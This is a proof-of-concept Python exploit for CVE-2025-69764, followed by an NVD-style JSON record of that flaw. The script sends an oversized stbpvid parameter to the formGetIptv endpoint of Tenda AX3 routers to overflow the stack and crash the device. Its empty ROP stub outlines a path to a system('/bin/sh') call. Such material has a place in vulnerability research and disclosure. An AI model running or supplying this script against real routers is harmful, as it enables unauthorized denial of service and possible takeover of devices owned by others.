CVE-2025-69764

#!/usr/bin/env python3 """ CVE-2025-69764 PoC - Tenda AX3 formGetIptv Stack Buffer Overflow This PoC demonstrates the buffer overflow vulnerability in the formGetIptv function of Tenda AX3 router firmware v16.03.12.11 WARNING: Only use this for authorized security testing """ import requests import sys def exploit_tenda_ax3(target_ip, target_port=80): """ Exploit CVE-2025-69764 by sending an oversized stbpvid parameter to trigger stack buffer overflow in formGetIptv function Args: target_ip: IP address of the vulnerable Tenda AX3 router target_port: Web management port (default: 80) """ # Construct the target URL url = f"http://{target_ip}:{target_port}/goform/formGetIptv" # Create payload with oversized stbpvid parameter to trigger overflow # Buffer size is typically small (e.g., 64-128 bytes), so we send 500+ bytes # This will overwrite return address and potentially EIP/RIP payload_size = 600 payload = "A" * payload_size # Prepare the POST data data = { "stbpvid": payload # Vulnerable parameter } print(f"[*] Target: {url}") print(f"[*] Payload size: {payload_size} bytes") print(f"[*] Sending exploit payload...") try: # Send the malicious request response = requests.post(url, data=data, timeout=10) print(f"[+] Request sent successfully") print(f"[+] Response status: {response.status_code}") except requests.exceptions.Timeout: print("[!] Request timed out - possible successful exploitation") print("[!] Router may have crashed or rebooted") except requests.exceptions.ConnectionError: print("[!] Connection failed - router may be unresponsive") print("[!] This could indicate successful exploitation and device crash") except Exception as e: print(f"[!] Error: {str(e)}") def create_rop_payload(): """ Generate a more sophisticated ROP payload for actual exploitation This would require knowledge of the firmware's memory layout """ # Placeholder for ROP chain construction # In a real attack, this would include: # - Address of system() function # - Address of /bin/sh string # - Return address to exit() function rop_chain = "" return rop_chain if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 cve-2025-69764.py <target_ip> [port]") print("Example: python3 cve-2025-69764.py 192.168.0.1 80") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 exploit_tenda_ax3(target, port)

{"cve": {"id": "CVE-2025-69764", "sourceIdentifier": "[email protected]", "published": "2026-01-22T16:16:07.660", "lastModified": "2026-01-26T20:39:22.757", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Tenda AX3 firmware v16.03.12.11 contains a stack-based buffer overflow in the formGetIptv function due to improper handling of the stbpvid stack buffer, which may result in memory corruption and remote code execution."}, {"lang": "es", "value": "El firmware Tenda AX3 v16.03.12.11 contiene un desbordamiento de búfer basado en pila en la función formGetIptv debido a un manejo inadecuado del búfer de pila stbpvid, lo que puede resultar en corrupción de memoria y ejecución remota de código."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:tenda:ax3_firmware:16.03.12.11:*:*:*:*:*:*:*", "matchCriteriaId": "9FFD11D4-8E44-4156-9D8E-7094E36A2152"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:tenda:ax3:-:*:*:*:*:*:*:*", "matchCriteriaId": "6A01F4C4-FFFF-48DD-90DB-4DD29FE57479"}]}]}], "references": [{"url": "https://river-brow-763.notion.site/Tenda-AX3-Buffer-Overflow-in-formGetIptv-2c9a595a7aef80e9b90fdaa56f51374b", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://river-brow-763.notion.site/Tenda-AX3-Buffer-Overflow-in-formGetIptv-2c9a595a7aef80e9b90fdaa56f51374b?source=copy_link", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}